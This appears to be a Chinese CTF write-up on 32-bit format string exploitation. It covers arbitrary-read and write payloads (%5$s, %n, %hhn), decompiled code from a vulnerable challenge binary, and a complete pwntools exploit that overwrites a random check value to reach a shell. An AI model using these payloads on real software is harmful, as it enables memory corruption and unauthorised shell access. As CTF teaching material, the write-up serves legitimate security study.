pwn

format string

in pwn

Posted by pic4xiu on October 4, 2019

这里深入回顾一下格式化字符串漏洞(32位)

任意位置读写

如果输入内容在栈偏移的第五个字节,可以这样泄露 \x01\x80\x04\x08%5$s 08048001 的内容

同理,\x8c\x97\x04\x08%5$n 可以完成覆盖 08049748c 内容为 4 (前边字符数),而 \x8c\x97\x04\x08%2048c%5$n 可以完成覆盖 08049748c 内容为 2048+4

“一分为四”

以“第五空间”的 五蘊 为例

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);     ------------------漏洞点
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

main 函数很简单,就是看你输入的和 urandom 一样不,这不废话,我们只能覆盖掉 unk_804C044 内容

思路

首先确定偏移量

your name:%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 
Hello,fff23058.63.0.fff2307e.3.c2.f7e696bb.fff2307e.fff2317c.252e7825.78252e78.2e78252e

了解了,从第十个字节,之后上 exp ,来自大佬

from pwn import *
#context.log_level='debug'
r=process('./5')

target=0x804c044
pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn'
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(0x10101010))
r.interactive()

我们看一下 pay ,第 10 个参数是 0x804c044 这个字节,把它改成 10 ,第 11 个是 0x804c044+1 ,也改成了 10 ,后两个同理,之后直接发送 r.sendline(str(0x10101010)) ,就可以了